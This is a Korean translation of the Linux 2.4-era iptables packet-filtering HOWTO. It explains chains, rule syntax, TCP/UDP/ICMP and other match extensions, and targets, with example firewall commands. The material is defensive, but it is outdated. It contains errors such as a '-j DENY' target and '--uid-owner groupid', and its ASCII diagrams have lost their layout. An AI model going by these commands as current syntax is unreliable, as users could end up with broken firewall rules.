1.1 시리즈 부터 리눅스 커널은 패킷 필터링을 포함하기 시작했다. 제 1세대는 BSD의 ipfw를 기본으로 하였고 1994년 후반기에 Alan Cox에 의해서 포트 되었다. 이것은 리눅스 2.0에서 Jos Vos와 다른이들에 의해서 개선되었고 커널의 필터링 규칙을 제어하는 사용자 툴로는 'ipfwadm'이 사용되었다. 1998년 중반에 리눅스 2.2를 위하여 나는 Michael Neuling의 도움으로 커널에 대하여 열심히 일하였고 사용자 툴료는 'ipchains'를 내놓았다. 마지막으로, 제 4세대 툴이 'iptables'이고 리눅스 2.4를 위하여 1999년 중반에 커널을 제 작성 하였다. 이 하우투 문서가 촛점을 맞추고 있는 것이 이 iptables 에 대한 내용이다.


netfilter를 가지고있는 커널이 필요하다. netfilter는 다른 것들(iptables 모듈 같은)이 붙을수 있는 리눅스 커널의 일반적인 기본 구조이다. 이것은 2.3.15 이상 의 리눅스 커널에 들어있고 커널 설정에서 CONFIG_NETFILTER 에 'Y'로 대답하고 컴 파일한 것이어야 한다.


iptables라는 툴은 커널에게 어떤 패킷을 필터할 것인지를 알려준다. 여러분이 프 로그래머나 변태가 아니라면, 이것이 패킷 필터링을 제어하는 수단이다.


iptables


iptables 는 커널의 패킷 필터링 테이블에 필터링 규칙을 삽입하거나 삭제하는 도구 이다. 이것은 여러분이 무었을 설정했든지, 재부팅시에는 소실된다는 것을 의미한다. 다음번 리눅스가 다시 부팅되었을때 설정 내용들이 재설치 되기를 바란다면 규칙들을 영속시키기를 보아라


iptablesipfwadmipchains를 대치한다. 손실없이 iptables 의 사용을 피하고 싶 다면 ipchains와 ipfwadm 사용하기를 보아라.


규칙들을 영속시키기


여러분의 파이어월 설정은 커널에 저장되므로 재부팅시에 손실된다. iptables-save 와 iptables-restore을 구현하는 것은 나의 TODO 리스트에 있다. 이것들이 나오게 되면 정말 좋을 것이다. 약속한다.


그동안은 여러분의 규칙을 설정하는 명령들을 초기화 스크립트에 기록해야 한다. 명 령들중 하나가 실패하였을때를 대비하여 뭔가 이성적인것을 해두어야 한다. (보통 'exec /sbin/sulogin'을 사용한다.)








4. 당신은 누구며 왜 나의 커널을 가지고 놀려고 하나 ?


나는 Rusty이다. 리눅스 IP 파이어월 유지하는 사람이고 적절한 시기에 적절한 장소에 있게된 그냥 워킹코더일 뿐이다. 나는 ipchains를 맹글었다. (실제적인 작업을 한 사람을 볼려면 "How Do I Packet Filter Under Linux?"라는 문서를 보라), 그리고 이번에 패킷 필터링을 구할 수 있을 정도의 많은 것을 배웠다.


WatchGuard는 정말 훌륭한 파이어월 회사이며, 정말 멋진 플럭인 파이어박스를 판매하며 아무것도 하지 않아도 나에게 월급을 준다. 덕분에 나는 이 작품을 만드는데 나의 모든 시간을 소모할 수 있었고, 이전의 작업도 그러하다. 나는 6개월이면 끝마치리라 짐작했지만 12개월이 걸렸다. 그러나 내가 바르게 했다는 생각이 든다. 수많은 수정과 하드디스크 박살과, 한번의 랩탑분실과 몇번의 파일시스템 박살과 한번의 모니터 박살의 결과물이 여기있다.


내가 여기에 있는 동안, 사람들의 잘못된 개념을 고쳐주고 싶다. 나는 커널대왕 이 아니다. 나도 내가 커널대왕이 아닌것을 안다. 왜냐하면 이런 커널에 대한 작 업중 진짜 커널대왕들(David S. Miller, Alexey Kuznetsov, Andi Kleen, Alan Cox 같은) 몇명과 접촉해 봤기 때문이다. 그러나 그들은 심오한 마술을 하느라 너무나 바빴고, 내가 안전한 물 가장자리에서 허우적 거리도록 내버려 두었다.








5. Rusty's 의 패킷 필터링에 대한 총알 가이드


대부분의 사람들은 단 하나의 PPP 접속만 사용하고 어떤 누구도 이것을 통해서 들어오는 것을 원하지 않는다.


## connection-tracking modules을 삽입한다. (not needed if built into kernel).
# insmod ip_conntrack
# insmod ip_conntrack_ftp

## 내부로부터 오는 것을 제외한 다른 새로운 접속을 막기위하여 새로운 체인을
## 만든다.
# iptables -N block
# iptables -A block -m state --state ESTABLISHED,RELATED -j ACCEPT
# iptables -A block -m state --state NEW -i ! ppp0 -j ACCEPT
# iptables -A block -j DROP

## 입력과 포워드 체인으로부터 그 체인으로 가도록 한다.
# iptables -A INPUT -j block
# iptables -A FORWARD -j block







6. 패킷이 필터를 어떻게 지나는가 ?


커널은 '필터' 테이블에 세개의 규칙을 가지고 시작한다. 이것을 파이어월 체인 또는 그냥 체인이라고 한다. 그 세개의 체인은 INPUT, OUTPUT, FORWARD 이다.

이것은 2.0 이나 2.2 커널과는 아주 다르게 움직인다.


이 체인은 아래그림처럼 생겼다.

                      _____
/
-->[ 라우팅 ]--->|포워딩 |------->
[ 판 정 ] _____/ ^
| |
v ____
___ /
/ | 출력 |
|입력 | ____/
___/ ^
| |
----> Local Process ----


위 그림에서 세개의 원은 위에서 언급한 세개의 체인을 나타낸다. 패킷이 이 그림에서 동그라미로 나타낸곳에 이르면 그 체인은 그 패킷의 운명을 결정하 기위하여 시험한다. 체인이 그 패킷을 DROP 하라고 하면 패킷은 그곳에서 삭 제된다. 그러나 그 체인이 ACCEPT 하고 하면 이 이 그림의 다음 부분으로 계 속 전달된다.


체인은 규칙의 점검표이다. 각 규칙은 '패킷의 헤더가 이렇게 되어있으면 이 곳에서 무엇을 하라'는 형태로 되어 있다. 규칙이 그 패킷에 맞지 않으면 다 음 규칙을 참고한다. 마지막으로 더이상 고려할 규칙이 없으면 커널은 무엇 을 할 것인가를 결정하기 위하여 그 체인의 정책을 확인한다. 보안을 생각하 는 시스템에서 이러한 정책은 보통 커널에게 그 패킷을 DROP 하도록 한다.




  1. 패킷이 커널에 도탁하면 그 패킷의 목적지를 확인한다. 이것은 '라우팅' 이라고 한다.
  2. 이것의 목적지가 이곳이면, 패킷은 위 그림에서 아래쪽 방향으로 전달 되어 입력 체인에 도달한다. 이것이 이 체인을 통과하면 패킷을 기다리 고있던 어떤 프로세서도 그것을 받게 된다.
  3. 그렇지 않으면, 커널이 포워딩 불능으로 되어있던가, 패킷을 어떻게 포 워딩해야 하는가를 알지 못하면, 그 패킷은 DROP 된다. 포워딩이 가능하 게 되어있고 다른 곳이 목적지이면 패킷은 그림의 오른쪽 방향으로 전달 되어 포워딩 체인으로 간다. 이 체인이 ACCEPT 하게 되면 이것은 포워딩 할 네트워크로 보내진다.
  4. 마지막으로, 이곳에서 돌아가던 프로그램은 네트워크 패킷을 전송할 수 있 게 된다. 이 패킷은 즉시 출력 체인에 보내진다. 이 체인이 ACCEPT 하게 되면 이 패킷은 그 목적지가 어디든지 보내진다.







7. iptables 사용하기


iptables는 상당히 자세한 메뉴얼 페이지(man iptables)를 가지고 있다. ipchains 에 익숙하다면 <@@ref>Appendix-Aipchains와 iptables의 다른점을 보아라. 이 둘은 매우 비슷하다.


iptables로 할수 있는 일에는 몇가지 다른것이 있다. 첫번째 작동은 전체 체인을 조절한다. 처음 시작은 세개의 미리 만들어진 체인으로 시작하는 데 이것은 제거될 수 없다.



  1. 새로운 체인 만들기 (-N).
  2. 비어있는 체인을 제거하기 (-X).
  3. 미리 만들어진 체인의 정책을 바꾸기 (-P)
  4. 어떤 체인의 규칙들을 나열하기 (-L)
  5. 체인으로부터 규칙들을 지우기 (-F)
  6. 체인내의 모든 규칙들의 패킷과 바이트의 카운드를 0 으로 만들기 (-Z)

체인 내부의 규칙을 조작하는 몇가지 방법이 있다.



  1. 체인에 새로운 규칙을 추가하기 (-A)
  2. 체인의 어떤 지점에 규칙을 삽입하기 (-I)
  3. 체인의 어떤 지점의 규칙을 교환하기 (-R)
  4. 체인의 어떤 지점의 규칙을 제거하기 (-D)
  5. 체인에서 일치하는 첫번째 규칙을 제거하기 (-D)


7.1 컴퓨터가 부팅될때 여러분이 보게 되는 것


iptables는 모듈로 되어있을 것이다. 이것은 iptable_filter.o 이다. 이것은 처음으로 iptables를 실행할때 자동으로 로드될 것이다. 이것느 커널에 영구히 포함될 수도 있다.


iptables 명령이 실행되기 전에는 기본적으로 만들어져있는 체인(입력, 포워딩, 출력)에는 아무른 규칙도 없다. (주의 : 어떤 배포판에는 초기화 스크깁트에 iptables를 실행하는 것이 들어있을 수 있다.) 입력과 출력 체인의 정책은 ACCEPT이고 포워딩 체인의 정책은 DROP이다. (iptable_filter 모듈에 'forward=1' 옵션을 선택하여 이것을 고칠 수 있다.)


7.2 하나의 규칙으로 작동하기


이것은 패킷 필터링의 약방의 감초이다. 일반적으로 추가와 제거 명령을 사용할 것이다. 다른것은 이런 개념의 단순한 확장이다.


각 규칙은 패킷이 일치되어야할 상태를 설정하고, 일치되었을때 무었을 할 것인가 ('target')를 나타낸다. 예를들어, 여러분은 127.0.0.1로부터의 모든 ICMP 패킷을 DROP하려고 할 것이다. 그렇다면, 이경우 일치되어야할 상태는 'ICMP이면서 그 출처 가 127.0.0.1' 이다. 이 경우 'target' 은 DROP 이다.


127.0.0.1 은 'loopback' 인터페이서 이고 실제적인 네트워크 접속이 전혀 없더라도 이것은 가지고 있을 것이다. 이러한 패킷은 'ping' 프로그램을 이용하여 생성할 수 있다. (이것은 단순히 ICMP type 8 (반응요구)을 보내고 모든 협조적인 호스트는 친절하게 ICMP type 0 (반응요구에 대한 응답)을 대답한다. 이것은 테스트하는데 유용 하다.


 
# ping -c 1 127.0.0.1
PING 127.0.0.1 (127.0.0.1): 56 data bytes
64 bytes from 127.0.0.1: icmp_seq=0 ttl=64 time=0.2 ms

--- 127.0.0.1 ping statistics ---
1 packets transmitted, 1 packets received, 0% packet loss
round-trip min/avg/max = 0.2/0.2/0.2 ms
# iptables -A INPUT -s 127.0.0.1 -p icmp -j DROP
# ping -c 1 127.0.0.1
PING 127.0.0.1 (127.0.0.1): 56 data bytes

--- 127.0.0.1 ping statistics ---
1 packets transmitted, 0 packets received, 100% packet loss
#

여기서 첫번째 ping 이 성공한 결과를 볼 수 있다. ('-c 1'은 하나의 패킷만 보내도록 ping에게 말하는 것이다.)


그리고, '입력' 체인에 127.0.0.1에서 오는 패킷('-s 127.0.0.1')으로 ICMP 프로토콜인것 ('-p icmp')은 DROP ('-j DROP')하라는 규칙을 추가(-A)하였다.


그리고는 다시 ping으로 규칙을 테스트하였다. ping이 오지않은 응답을 기다 리지 못하고 응답받기를 포기하기까지 약간의 시간이 걸릴것이다.


규칙을 제거하는데는 두가지 방법이 있다. 첫째, 입력체인에는 단 하나의 규칙 만이 있다는 것을 앎으로, 몇번을 지워라는 방식으로 할 수 있다.


               # iptables -D INPUT 1
#
입력 체인으로부터 1번 규칙을 제거한다.


두번째 방법은 -A 명령을 이용한 이전의 명령에서 -A를 -D로 다꿔주면 된다. 이것은 복잡한 규칙을 가지고 있고 각 규칙이 몇번째 규칙인지를 외우고 다니기를 싫어 한다면, 아주 유용한 방법이다.


               # iptables -D INPUT -s 127.0.0.1 -p icmp -j DROP
#
-D 명령은 -A 명령과 똑 같은 문법이다. (-I 나 -R 도 마찬가지이다.) 만약, 여러개의 똑 같은 규칙들이 같은 체인에 있다면, 첫번째 것만 제거 될 것이다.


7.3 필터링 지정


앞에서 프로토콜을 지정하기위하여 '-p'를 이용하였고, 출처를 지정하기 위하여 '-s'를 이용하였다. 그 외에도 패킷의 특징을 지정하는데 사용되 는 다른 옵션들이 있다. 아래는 이것들에 대한 완벽한 개요이다.


출처와 목적지 지정


출처('-s', '--source', '--src')와 목적지('-d', '--destination', '--dst') IP 주소를 지정하는데 4가지 방법이 있다. 가장 보편적인 방법은 'www.linuxhq.com', 'localhost' 처럼 이름을 이용하는 것이다. 두번째 방법은 '127.0.0.1' 처럼 IP 주소를 이용하는 것이다.


세번째와 네번째 방법은 IP 주소의 그룹을 지정하는 것으로 '199.95.207.0/24' 또는 '199.95.207.0/255.255.255.0' 같은 형태이다. 이 둘은 모두 199.95.207.0 부터 199.95.207.255 사이의 모든 IP 주소를 지정한다. '/' 다음의 숫자는 IP 주소의 어떤 부분이 의미있는가를 나타낸다. '/32' 나 '/255.255.255.255' 가 기본값이다.(IP 주소의 모든부분이 일치해야 한다.) 모든 IP 주소를 지정하는데 '/0' 가 사용된다.


               # iptables -A INPUT -s 0/0 -j DROP
#

이것은 '-s' 옵션을 이용하지 않은것과 같은 효과를 나타내므로 잘 사용되지 않는다.


'역'의 경우 지정


많은 지시자들('-s'나 '-d' 같은)은 일치하지 않는 주소를 나타내기 위하여 '!'('not'을 의미한다)로 시작하는 설정을 할 수 있다. 예로, '-s ! localhost' 는 localhost로부터오는 패킷이 아닌경우를 나타낸다.


프로토콜 지정


프로토콜은 '-p' 지시자로 지정할 수 있다. 프로토콜을 숫자가 될수 있고 (IP의 프로토콜 번호를 알고 있다면) 'TCP', 'UDP', 'ICMP' 같은 이름이 될 수도 있다. 그리고 'tcp'는 'TCP'와 같은 역할을 한다.


프로토콜 이름 지정에도 '!'을 이용할 수 있다. '-p ! TCP'


인터페이서 지정


'-i'('--in-interface')와 '-o'('--out-interface')가 인터페이서를 저정 하는데 사용된다. 인터페이서는 패킷이 들어오고 나가는 물리적인 도구이다. ifconfig 명령을 사용하여 현재 활성화 되어있는 인터페이서를 알아볼수 있다.

입력 체인을 지나는 패킷은 출력 인터페이서를 가지고 있지 않으므로 '-o' 설정에 일치하는 패킷이 없을 것이고 출력 체인을 지나는 패킷은 입력 인터 페이서를 가지고 있지 않으므로 '-i' 설정에 일치하는 패킷이 없을 것이다.


포워딩 체인을 지나는 패킷만이 입력과 출력 인터페이서를 모두 가질것이다.


현재 존재하지 않는 인터페이서를 지정하는 것도 아무런 문제없이 될 수 있 다. 이것은 인터페이서가 활성화 되기 전까지는 규칙에 일치하는 패킷이 있을수 없을 것이다. 이것은 dial-up PPP를 사용하는 경우 특히 유용하다.


특별한 경우로, 인터페이서 이름이 '+'로 끝날수 있는데 이것은 그 이름으로 시작하는 모든 인터페이서를 모두 지정한다(그것이 현재 존재하든 존재하지 않든). 예를들어, 모든 PPP 인터페이서와 일치하는 규칙을 지정하려면 -i ppp+와같이 하면 된다.


인터페이서 이름앞에 '!'도 이용할 수 있다.


분절 (Fragments) 지정


가끔 패킷은 한번에 다 전달되기에는 너무 큰 경우가 있다. 이런경우 패킷은 여러 분절로 나뉘어지고 다중패킷의 형태로 전달된다. 목적지에서 이 분절들 은 재 구성되어 전체 패킷이 된다.


분절에서 문제점은 내부 패킷의 부분으로 IP 헤더 다음의 위치에서 프로토콜 헤더를 찾는데, 이것은 첫번째 분절에만 있기 때문에 찾을수가 없다.


만약 여러분이 접속추적이나 NAT를 한다면 모든 분절은 필터링 코드에 도달하 기 전에 뭉쳐지므로 분절에 대한 걱정은 할 필요가 없다.


그렇지 않다면, 분절들이 필터링 규칙에서 어떻게 처리되는가를 이해하는 것 은 중요하다. 우리가 가지고있지 않은 정보를 요구하는 필터링 규칙에 부합될 수가 없다. 이것은 첫번째 패킷은 다른 패킷과 같이 처리되고 두번째 이후의 분절은 전달될 수 없음을 의미한다. 그러므로 -p TCP --sport www ('www' 를 출신 포트로 지정하는 경우)와 같은 규칙에 맞는 분절은 있을 수 없다( 첫번째 분절을 제외하고). 그 반대의 규칙인 -p TCP --sport ! www도 분 절들을 처리할 수 없다.


그러나, 두번째 이상의 분절에 대하여 규칙을 지정하기위하여 '-f' ('--fragment')라는 지시자를 사용할 수 있다. 두번째 이상의 분절에는 적용 되지않는 규칙을 지정하기 위하여 '-f' 앞에 '!' 를 붙이는 것도 가능하다.


일반적으로 , 첫번째 분절에 필터링이 적용되어 DROP 되면 목적지 에서 다른 분절들의 재합성이 되지 않으므로, 두번째 이상의 분절이 그냥 지나가도록하는 것도 안전한 것으로 간주 된다. 그러나 단순히 분절들을 전달하는 것만으로 호스트를 크래쉬가 생기는 버그가 알려져 있다. 여러분이 결정할 일이다.


네트워크 헤더에 대한 주의 : 잘못 구성된 패킷들은 이러한 시험을 할때 DROP 되었다. (TCP, UDP, ICMP 패킷중 길이가 너무 짧아 파이어월 코드가 포트나 ICMP 코드와 형태를 읽을 수 없는 경우). 왜냐하면 TCP 분절은 8번째 위치부터 시작되기 때문이다.


예로, 다음과 같은 규칙은 192.168.1.1 로 향하는 분절을 DROP 시킨다.


# iptables -A OUTPUT -f -d 192.168.1.1 -j DROP
#


iptables 의 확장 : 새로운 대상(Matches)


iptables확장 가능하다. 즉 새로운 형태를 제공하기 위하여 iptables와 커널 모두가 확장 가능하다는 의미이다.


이중 일부는 표준적이고 다른 것은 이색적이다. 다른사람에 의해서도 확장 은 만들어질 수도 있으며 독립적으로 배포될 수 있다.


정상적으로 커널 확장은 커널 모듈 하부 디렉토리에 존재한다. (/lib/modules/2.3.15/net). 이것은 요구에 의하여 적재된다. 그러므로 직 접 이들 모듈을 적재할 필요는 없다.


iptables의 확장들은 공유라이버러리 형태로 보통 /usr/local/lib/iptables 에 위치한다. 배포판은 이것을 /lib/iptables나 /usr/lib/iptables에 넣으 려 할 것이다.


확장은 두가지 형태이다. : 새로운 타겟(target), 새로운 적용(match) 아래에 새로운 타겟에 대하여 이야기 할 것이다. 어떤 프로토콜은 자동으로 새로운 테스트를 제공하는데 현재로는 TCP, UDP, ICMP 에 대해서 아래에 보여 줄 것이다.


이것을 위해서 '-p' 옵션 뒤에 지정하는데 그러면 확장을 적제할 것이다. 명백히 할려면 '-m' 옵션으로 확장을 적재하고 확장 옵션을 사용가능하게 할 수 있다.


확장에 대한 도움을 얻으려면, 적제하는 옵션('-p', '-j', '-m')을 '-h'나 '--help' 다음에 지정하면 된다.


TCP 확장


TCP 확장은 '--protocol tcp' 가 지정되고 다른 적용이 지정되지 않으면 자동으로 적제된다. 이것은 다음과 같은 옵션을 제공한다.




--tcp-flags

'!' 옵션을 사용한다면 이것 뒤에 두개의 단어를 사용한다. 첫번째 것은 검사하고자 하는 지시자 리스트의 마스크이다. 두번째 단어는 지시자에게 어떤것이 설정 될 것인지를 말해준다. 예를들어,


# iptables -A INPUT --protocol tcp --tcp-flags ALL SYN,ACK -j DENY

이것은 모든것이 검사되어야 함을 말한다.('ALL'은 `SYN,ACK,FIN,RST,URG,PSH' 와 같다.) 그러나 SYN 과 ACK 만 설정된다. 'NONE'는 지시자가 없음 을 말한다.


--syn

'!' 옵션이 선행될 수 있다. 이것은 '--tcp-flags SYN,RST,ACK,SYN'의 약어이다.


--source-port

'!' 옵션이 선행될 수 있다. 이후에 하나의 TCP 포트나 포트의 범위를 지정한다. /etc/services 에 기록된 것과 같은 포트 이름이 사용될 수 도 있고 숫자로 나타낼 수도 있다. 범위는 두개르 포트 이름을 '-' 으 로 연결해서 사용하거나 (커거나 같은경우를 위해서) 하나의 포트 뒤에 '-'를 사용하거나 (작거나 같은 경우를 위해서) 하나의 포트 앞에 '-' 를 덧붙일 수 있다.


--sport

이것은 '--source-port'와 동의어이다.


--destination-port


--dport

는 위의 내용과 같으나 목적 지를 지정한다.


--tcp-option

'!' 나 숫자가 옵션에 선행될 수 있는데 숫자가 앞에 올경우 그 숫자 와 TCP 옵션이 같은 경우의 패킷을 검사한다. TCP 옵션을 검사하려 할 때 완전한 TCP 헤더를 갖지않는 것은 자동으로 DROP 된다.



TCP 지시자에대한 설명


가끔 한쪽 방향에서의 TCP 접속만 허랑하고 다른 방향에서의 접속을 불허하 는 것이 유용하다. 예로, 여러분은 외부 WWW 서버로의 접속은 허락하며 그 서버로 부터의 접속은 불허하기를 원할 것이다.


단순하게 그 서버로부터 오는 TCP 패킷을 막으면 된다고 생각할 것이다. 그러 나, 불행히도 작동하기 위해서 TCP 접속은 양방향의 패킷을 요구한다.


해법은 접속을 요구하는 패킷만 막는 것이다. 이러한 패킷을 SYN 패킷이라한다. (물론, 기술적으로 SYN 지시자 셋을 갖는 패킷이 있다. 그리고 FIN 과 ACK 지시 자는 지워진다. 그러나 간단히 그것을 SYN 패킷이라고 한다.) 이러한 패킷만 불가능으로 만듬으로서 외부로 부터의 접속 시도를 막을 수 있다.


이러한 것을 위해서 '--syn' 지시자가 사용된다. : 이것은 프로토콜을 TCP 로 지정했을 때만 효과가 있다. 예를 들면, 192.168.1.1 로부터의 TCP 접속을 지 정하기 위하여 다음과 같이 하면 된다.


-p TCP -s 192.168.1.1 --syn


접속을 시작한 것 외의 모든 패킷을 지정하기 위하여 '!' 옵션이 선행될 수 있다.


UDP 확장


이 확장은 '--protocol udp'가 지정되고 적용이 저정되지 않으면 자동으로 적재된다. 이것은 '--source-port', '--sport', '--destination-port', '-dport'를 지원하고 내용은 TCP 설명에서 자세히 나왔다.


ICMP 확장


이 확장은 '--protocol icmp'가 지정되고 그 적용이 지정되지 않으면 자동으로 적재된다. 이것은 단 하나의 새로운 옵션만 지원한다.:




--icmp-type

'!' 옵션이 선행될 수 있다. 이후에 ICMP 타입의 이름('host-unreachable') 이나 숫자형태 ('3'), 또는 숫자형태와 코드('/'로 분리 예. '3/3') 의 형 태가 사용된다. 사용할 수 있는 ICMP 형태의 이름의 리스트는 '-p icmp --help' 하면 나타난다.



그외의 적용 확장


Netfilter 패키지의 다른 확장은 시험적인 확장이다. 이것은 (설치 되어있다면) '-m' 옵션으로 활성화 된다.



mac

이 모듈은 '-m mac' 또는 '--match mac' 이라고 함으로 지정할 수 있다. 이것은 들어오는 패킷의 이더넷 주소를 검사한다. 그러므로 입력 체인에 서만 유용하다. 이것은 하나의 옵션만 제공한다.



--mac-source

'!' 옵션이 선행 될 수 있다. 이후에 콜론으로 분리된 16진수 숫자의 이더넷 주소가 온다. 예 '--mac-source 00:60:08:91:CC:B7'


limit

이 모듈은 '-m limit' 또는 '--match limit'이라고 함으로 지정할 수 있 다. 이것은 로그 메세지를 억제할때 처럼 적용검사의 속도를 제한하는데 사용한다. 1초에 주어진 숫자만큼의 적용만 검사한다. (기본값은 한 시간 에 3번, 최고 5번이다.) 이것은 두개의 옵션을 제공한다.



--limit

숫자가 따라온다 : 초당 평균 최대 적용 검사 수를 지정한다. 숫자뒤 에 시간단위를 지어할 수 도 있다. ('/second', '/minute', '/hour', '/day'형태이다. 예로, '5/second' 또는 '5/s'가 가능하다)


--limit-burst

숫자가 따라온다. 위의 제한이 적용되기전의 최대 Burst(?) 를 제한 한다.


이 적용은 종종 로그의 속도를 제한하기위하여 LOG 타겟과 함께 사용된 다. 이것을 이해하기위하여 아래에 기본 제한설정을 하는 로그 패킷제한 을 보자.


# iptables -A FORWARD -m limit -j LOG

이 규칙에 도달될때까지 패킷은 로그될 것이다. 사실 Burst의 기본값은 5 이므로 처므ㅇ 5개의 패킷은 로그될것이다. 그 이후 얼마나 많은 패킷이 도달하든 간에 하나의 패킷이 로그되기전에 20분이 걸릴 것이다. 그리고 20분 동안 패킷 적용이 없으면 Burst 하나가 다시 생길 것이다. 패킷없이 100분 이 지나면 Burst는 완전이 원상 복구 될것이다. 처음 시작할때로 돌아가는 것 이다.


재복구 시간을 59시간 이상으로는 설정하지 못한다. 그러므로 평균속도를 하 루에 1개로 설정하였다면 Burst 속도는 3 이하가 되어야 한다.


owner

이 모듈은 지역에서 생성된 패킷의 생성자의 여러 특징을 적용하려고 한다. 이것은 출력 체인에만 사용되며 어떤 패킷들(ICMP ping 응답같은)은 소유자 가 없으므로 적용되지 않는다.



--uid-owner userid

유효한 사용자 id (숫자)의 프로세서가 생성한 패킷에 적용한다.


--uid-owner groupid

유효한 그룹 id (숫자)의 프로세서가 생성한 패킷에 적용한다.


--pid-owner processid

주어진 프로세서 id 의 프로세서가 생성한 패킷에 적용한다.


--sid-owner processid

세션 그룹내의 프로세서가 생성한 패킷에 적용한다.


unclean

이 시험적인 모듈은 정확히 '-m unclean' 또는 '--match unclean'으로 지정해 주어야 한다. 이것은 무작위의 여러 건전성 검사를 한다. 이것은 제대로 검사되지 않았고 안전성 도구로도 사용되지 못한다.(아마도 이것 은 무제를 더욱 힘들게 하고 버그 그 자체일 것이다.) 이것은 옵션이 없다.



상태 적용


가장 유용한 적용 기준은 'ip_conntrack' 모듈의 접속 추적 분석을 해석하는 'state' 확장이다. 이것을 강력히 추천한다.


'-m state'를 지정함으로 '--state' 옵션을 사용할 수 있는데 이후에 콤마로 분리되는 적용할 상태들의 리스트가 온다.('!' 지시자는 사용되어지지 않는 다.) 이 상태들은 ;



NEW

새로운 접속을 만드는 패킷


ESTABLISHED

존재하는 접속에 속하는 패킷 (즉, 응답 패킷을 가졌던 것)


RELATED

기존의 접속의 부분은 아니지만 연관성을 가진 패킷으로 . ICMP 에러 나 (FTP 모듈이 삽입 되어있으면) ftp 데이터 접속을 형성하는 패킷.


INVALID

어떤 이유로 확인할 수 없는 패킷: 알려진 접속과 부합하지 않는 ICMP 에러와 'out of memory' 등을 포함한다. 보통 이런 패킷은 DROP 된다.



7.4 타겟 지정


이제 패킷에서 어떤 검사를 할 수 있는지를 알았다. 이제 우리의 검사에 일치 하는 패킷을 어떻게 할 것인지를 말하는 것을 알아야 한다. 이것을 규칙 타겟 이라고 한다.


두개의 이미 만들어진 단순한 타겟이 있다. : DROP 과 ACCEPT. 이미 이것에 대해서는 이야기를 한 적이 있다. 적용이 되는 패킷과 그것의 타겟이 위의 두 개중 하나라면 더이상의 참고할 규칙은 없다. : 패킷의 운명은 결정 되는 것 이다.


이미 만들어진 두개의 타겟외에 두가지 형태의 타겟이 있다.: 확장과 사용자 지정의 체인들 이다.


사용자 지정의 체인들


ipchains로 부터 상속되는 iptables의 강력한 기능중의 하나는 능력되는 사용 자가 기존의 세개의 체인(입력, 출력, 포워드)외에 새로운 체인을 생성할 수 있다는 것이다. 모임의 결과 사용자 지정의 체인은 그것을 구분하기 위하여 소문 자로 나타낸다. (아래 전체 체인에 대한 작용 부분에서 어떻게 사용자 지정의 새로운 체인을 만드는지 기술할 것이다.)


타겟이 사용자 지정의 체인인 규칙에 패킷이 맞으면 패킷은 사용자 지정의 체인을 따라 움직이게 된다. 그 체인이 패킷의 운명을 결정하지 못하면 그리고 그 체인에 따른 이송이 끝나면, 패킷은 현제 체인의 다음 규칙으로 돌아온다.


그림을 보자. 두개의 체인이 있고 그것이 입력테스트라는 사용자 지정의 체인이 라고 가정하자.


          `INPUT'                         `test'
---------------------------- ----------------------------
| Rule1: -p ICMP -j DROP | | Rule1: -s 192.168.1.1 |
|--------------------------| |--------------------------|
| Rule2: -p TCP -j test | | Rule2: -d 192.168.1.1 |
|--------------------------| ----------------------------
| Rule3: -p UDP -j DROP |
----------------------------


192.168.1.1 로부터 와서 1.2.3.4 로 향하는 TCP 패킷이 있다고 가정한다. 이것은 입력 체인으로 들어온다. Rule1 을 검사한다. 맞지 않음. Rule2 맞음. 그것의 타겟 은 테스트, 고로 다음 검사할 규칙은 테스트의 시작이다. 테스트의 Rule1 이 맞다. 그러나 이것이 타겟을 지정하지 않는다. 그러므로 다음 규칙이 검사된다. Rule 2. 맞지 않다. 그 체인의 끝에 도달했다. 다시 입력 체인으로 돌아가서 Rule3 을 검사 한다. 그것도 맞지 않다.


여기서 패킷의 이동경로를 그림으로 나타냈다.


                                v    __________________________
`INPUT' | / `test' v
------------------------|--/ -----------------------|----
| Rule1 | /| | Rule1 | |
|-----------------------|/-| |----------------------|---|
| Rule2 / | | Rule2 | |
|--------------------------| -----------------------v----
| Rule3 /--+___________________________/
------------------------|---
v


사용자 지정의 체인에서 대를 사용자 지정의 체인으로 갈수 있다. (그러나 루프 를 돌수는 없다. 루프를 발견하게 되면 패킷은 DROP 된다.)


iptables로의 확장 : 새로운 타겟


타겟의 다른 형태는 확장이다. 타겟 확장은 커널 모듈로 구성된다. 그리고 iptables 에 대한 선택적 확장은 새로운 명령행의 옵션을 제공한다. 기본적으로 넷필터 배포에 포함된 몇몇의 확장은 다음과 같다.



LOG

일치하는 패킷의 커널 로그를 제공한다. 이것은 부가의 옵션을 제공한다.


--log-level

레벨 숫자나 이름이 따라온다. 유효한 이름은 (상황에 따라 다르다) 'debug' 'info', 'notice', 'warning', 'err', 'crit', 'alert', 'emerg' 이고 이것 은 각각 숫자 7 에서 0 에 대응한다. 이런 레벨에 대한 설명은 syslog.conf 의 man 페이지를 보라.


--log-prefix

14자 까지의 문장이 따라온다. 이 메세지는 로그 메세지의 시작부분으로 보내져서 확인에 사용될 수 있다.


이 모듈은 'limit' 타겟 다음에 사용하면 가장 효과적이다. 그래서 로그가 넘 지나지 않도록 할 수 있다.


REJECT

이 모듈은 'DROP'과 같은 효과를 나타낸다. 다만, 'port unreachable' 이라는 에러 메세지를 ICMP 로 보낸다. 주의할 것은 ICMP 에러 메세지는 다음의 경우 보내 지지 않는다 ( RFC 1122 를 보라) :



  • 검사된 패킷이 ICMP 에러메세지이거나나 알수 없는 ICMP 형태인 경우
  • 검사된 패킷이 헤더가 없는 분절인 경우
  • 너무 많은 ICMP 에러 메세지를 그 목적지로 보낸 경우.

REJECT 는 '--reject-with'라는 옵션을 가지는데 이것은 사용할 응답 패킷을 변경한다. 자세한 것은 메뉴얼 페이지를 보라.



특별한 미리 만들어진 타겟


두개의 미리 만들어진 타겟이 있다 : RETURN, QUEUE


RETURN은 한 체인의 끝으로 보내지는 것과 같은 효과가 있다. : 미리 만들어진 체 인의 경우 그 체인의 정책은 실행이다. 사용자 정의 체인의 경우 이 체인으로 점프 하는 규칙의 바로 다음인 이전 체인으로 이동한다.


QUEUE은 특별한 타겟으로, 사용자공간의 작업을 위해 패킷을 대기하도록 한다. 패킷 을 위해서 대기하고있는 것이 없다면(즉, 이 패킷을 다룰 프로그램이 아직 씌어져 있지 않다면) 패킷은 DROP 될 것이다.


7.5 전체 체인에 대한 작용.


iptables의 유용한 기능주 하나는 여러 관계가 있는 규칙을 하나의 체인속으로 그룹화 하는 것이다. 체인의 이름은 어떤 것을 사용할 수도 있으나 미리 만들어 진 체인과의 혼동을 막기 위하여 소문자를 사용하기를 권한다. 체인의 이름은 16 자 까지 가능하다.


새오룬 체인 생성


